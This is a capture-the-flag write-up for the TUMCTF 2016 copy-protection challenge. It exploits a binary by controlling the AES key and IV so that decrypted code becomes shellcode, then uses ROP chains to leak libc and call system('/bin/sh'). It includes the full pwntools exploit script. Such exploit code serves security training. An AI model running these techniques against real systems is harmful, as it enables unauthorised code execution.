Description
Software piracy is a crime!
Don’t steal our hard work.
nc 104.154.90.175 54509
downloadHINT: 2.19-18+deb8u4
Solved by: 26
Bonuspoints: 11
Resolution
NB: All the code can also be found there.
We are given a binary, as usual with every exploit, we get some information:
laxa:copy_protection:10:36:10$ file cat_flag.exe
cat_flag.exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f9c231071c8b984084a7e8fc1ed8e3874e9bedce, not stripped
laxa:copy_protection:10:36:20$ checksec --file cat_flag.exe
[*] '/home/laxa/Documents/Repos/Challenges/CTF/tumctf2k16/copy_protection/cat_flag.exe'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
Low protection on this binary and not stripped, let’s see what it’s doing!
laxa:copy_protection:10:36:26$ ./cat_flag.exe Welcome to cat_flag.exe v0.3 Copyright (c) 2015 h4x0rpsch0rr Thanks for choosing h4x0rpsch0rr. To protect our paying customers we ask you to enter your personal license key! License Key: wqdwqdqwd Decrypting protected code... Finished decryption! Starting protected code... Segmentation fault
It’s asking for a key, then segfaulting.
laxa:copy_protection:10:37:34$ dmesg | tail [...] [66640.027435] traps: cat_flag.exe[50793] general protection ip:400ade sp:7fffe6c0ef00 error:0 in cat_flag.exe[400000+1000]
And the binary is crashing inside the .text section at 0x400ade.
Let’s see with ltrace what is happening:
laxa:copy_protection:10:38:16$ ltrace ./cat_flag.exe
__libc_start_main(0x400be5, 1, 0x7fffffd3d338, 0x400e40 <unfinished ...>
setbuf(0x7fd504b732a0, 0) = <void>
puts("Welcome to cat_flag.exe v0.3"Welcome to cat_flag.exe v0.3
) = 29
puts("Copyright (c) 2015 h4x0rpsch0rr\n"...Copyright (c) 2015 h4x0rpsch0rr
) = 33
puts("Thanks for choosing h4x0rpsch0rr"...Thanks for choosing h4x0rpsch0rr.
) = 34
puts("To protect our paying customers "...To protect our paying customers we ask you to enter your personal license key!
) = 79
printf("License Key: "License Key: ) = 13
fgets(foobar
"foobar\n", 33, 0x7fd504b734e0) = 0x7fffffd3d1f0
ERR_load_crypto_strings(0x7fffffd3d1f7, 0x7fd505191007, 0x7fd504b747b0, 0xa726162) = 0
OPENSSL_add_all_algorithms_noconf(10, 1, 0x7fd504cfe61b, 412) = 1
OPENSSL_config(0, 0xffffffff, 0x7fd504b72628, 0) = 1
getpagesize() = 4096
mprotect(0x400000, 4096, 7, 4096) = 0
puts("Decrypting protected code..."Decrypting protected code...
) = 29
EVP_CIPHER_CTX_new(0x400ade, 31, 0x7fffffd3d1f0, 0x7fffffd3d201) = 0xde17b0
EVP_aes_128_cbc(0xde1858, 0x40021200, 0xde17b0, 0) = 0x7fd504f51400
EVP_DecryptInit_ex(0xde17b0, 0x7fd504f51400, 0, 0x7fffffd3d1f0) = 1
EVP_DecryptUpdate(0xde17b0, 0x400ade, 0x7fffffd3d1d0, 0x400ade) = 1
EVP_DecryptFinal_ex(0xde17b0, 0x400aee, 0x7fffffd3d1d0, 0x400aee) = 0
EVP_CIPHER_CTX_free(0xde17b0, 0, 0x606506d, 0xde0ce4) = 0
mprotect(0x400000, 4096, 5, 4096) = 0
puts("Finished decryption!"Finished decryption!
) = 21
puts("Starting protected code..."Starting protected code...
) = 27
--- SIGILL (Illegal instruction) ---
+++ killed by SIGILL +++
Program is getting some inputs, initializing OPENSSL library, setting the .text with RWX, unciphering some part of the .txt and then setting the .txt back to RX and then segfaulting…
Looking at the disassembly, we see that after the puts, the program is calling protected at 0x400ad6 but only segfault at 0x400ade:
400df9: e8 d2 fa ff ff call 4008d0 <mprotect@plt> 400dfe: 83 f8 ff cmp eax,0xffffffff 400e01: 75 07 jne 400e0a <main+0x225> 400e03: b8 ff ff ff ff mov eax,0xffffffff 400e08: eb 2d jmp 400e37 <main+0x252> 400e0a: bf 32 10 40 00 mov edi,0x401032 400e0f: e8 ec fa ff ff call 400900 <puts@plt> 400e14: bf 47 10 40 00 mov edi,0x401047 400e19: e8 e2 fa ff ff call 400900 <puts@plt> 400e1e: b8 00 00 00 00 mov eax,0x0 400e23: e8 ae fc ff ff call 400ad6 <protected> 400e28: bf 62 10 40 00 mov edi,0x401062 400e2d: e8 ce fa ff ff call 400900 <puts@plt>
We also see that the aes cipher will be used to uncipher the 0x400ade part of the .txt. AES 128 is using 16 byte keys but we see that fgets is actually getting 33 bytes of input. The stack layout is like that [key][1 byte padding(suppose to be nullbyte)][IV for the AES], that means that we can actually control both the key and the IV when the AES unciphering call is made!
Controlling both the key and the IV and also knowing the ciphertext means that we can control easily the first 16 bytes of the plaintext!
We made a little script to find the correct needed key/IV to obtain such a plaintext (in our case, we want a sequence of byte, this sequence of byte is going to be a shellcode):
#!/usr/bin/env python2
from Crypto.Cipher import AES
import binascii
import sys
# this is the sequence of byte we want to have as plaintext
seq = "\xbe\x50\x15\x60\x00\x6a\x7f\x5a\x0f\x05\x48\x89\xf4\xc3\x90\x90"
key = "laxa" * 4
IV = "ABCDEFGHIJKLMNOP"
obj = AES.new(key, AES.MODE_CBC, IV)
# this is the sequence of byte in the binary
ciphertext = "\xC8\x56\xF9\x5D\x1F\x6B\xCD\x27\x5C\xD8\x7E\x91\xA8\x90\xA3\x1d"
plaintext = obj.decrypt(ciphertext)
tmp = plaintext
newIV = ""
for i in range(0, len(IV)):
newIV += chr(ord(tmp[i]) ^ ord(seq[i]) ^ ord(IV[i]))
sys.stdout.write("IV to use: ")
for x in newIV:
sys.stdout.write("\\x" + hex(ord(x))[2:])
print ""
keykey = "laxa" * 4
obj2 = AES.new(keykey, AES.MODE_CBC, newIV)
plaintext = ""
ciphertexta = "\xC8\x56\xF9\x5D\x1F\x6B\xCD\x27\x5C\xD8\x7E\x91\xA8\x90\xA3\x1d"
plaintexta = obj2.decrypt(ciphertexta)
assert(plaintexta == seq)
Now that we know how to control the text that is going to be executed, it’s time to find the good way to exploit the binary!
Good thing for us, both RAX and RDI are set to 0 when the protected area is called, which means that we can have that shellcode executed:
global _start
_start:
;; both RDI and RAX are already set to 0
mov rsi, 0x601550 ;buffer in .bss
push 0x7f ;size of read
pop rdx
syscall ;read
mov rsp, rsi ;ret to ROP
ret
And the little bash script to extract shellcode:
#!/bin/bash nasm -f elf64 -o stage1 stage1.asm TMP=`for i in $(objdump -d stage1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;` echo -n "stage1 shellcode length: " perl -e "print \"$TMP\"" | wc -c for i in $(objdump -d stage1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
Only 14 bytes long, perfect since we need less than 16 bytes shellcode. We are going to read more input in the .bss segment to place a ROP.
The ROP is the following:
ROP = p64(0x400ea3) # pop rdi ; ret ROP += p64(0x601418) # puts.plt ROP += p64(0x400900) # puts ROP += p64(0x400a40) # pop rbp ; ret ROP += p64(0x601578) # new rbp ROP += p64(0x400e32) # mov eax, 0 ; leave ; ret ROP += p64(0x400ADE) # our shellcode
With that ROP, we will leak the address of puts in the libc and then going back to our shellcode in 0x400ade to read our second ROP payload.
The libc used on the remote is given as a hint. Sadly enough, we couldn’t find the libc online but hopefully we had a VM with that version of the libc, we can find then all the offsets needed to finish our exploit.
The last ROP is a standard ret2libc:
ROP = p64(0x400ea3) # pop rdi ; ret ROP += p64(binsh + baselibc) ROP += p64(system + baselibc)
Which gives us the final exploit:
#!/usr/bin/env python2
from pwn import *
import binascii
import struct
import time
def up64(data):
return struct.unpack("<Q", data)
###
if len(sys.argv) > 1:
DEBUG = True
offset = 0x6b990
system = 0x41490
binsh = 0x1633e8
execve = 0xba310
else:
DEBUG = False
offset = 0x6b990
system = 0x41490
binsh = 0x163708
execve = 0xba310
###
if DEBUG:
r = process("./cat_flag.exe")
else:
r = remote("104.154.90.175", 54509)
### STAGE 1: leak libc
r.recvuntil(": ")
#log.info("press key")
#raw_input()
# payload is as follow : [16 bytes key] [1 byte padding] [IV]
# the IV used is from ./aes.py
p = "laxa" * 4 + "X" + "\x07\x88\x90\x54\x1f\x97\x5b\x1b\x2b\xce\x60\x1c\x97\xef\xed\x4c"
log.info("stage1: inserting shellcode")
r.send(p)
r.recvuntil("Starting protected code...\n")
ROP = ""
ROP += p64(0x400ea3) # pop rdi ; ret
ROP += p64(0x601418) # puts.plt
ROP += p64(0x400900) # puts
ROP += p64(0x400a40) # pop rbp ; ret
ROP += p64(0x601578) # new rbp
ROP += p64(0x400e32) # mov eax, 0 ; leave ; ret
ROP += p64(0x400ADE) # our shellcode
log.info("stage 2: ROP to leak libc")
r.sendline(ROP)
data = r.recvline().rstrip()
while len(data) < 8:
data += "\x00"
libcptr = up64(data)[0]
baselibc = libcptr - offset
log.info("libcptr: " + hex(libcptr))
log.info("baselibc: " + hex(baselibc))
ROP = ""
ROP += p64(0x400ea3) # pop rdi ; ret
ROP += p64(binsh + baselibc)
ROP += p64(system + baselibc)
log.info("stage 3: ROP to shell")
r.sendline(ROP)
r.interactive()
The flag is: hxp{The unauthorized reproduction or distribution of this copyrighted work is illegal. Criminal copyright infringement, including infringement without monetary gain, is investigated by the FBI and is punishable by up to five years in federal prison and a fine of $250,000.}
[TUMCTF 2016] [EXPLOIT 200 – c0py_pr073c710n] Write Up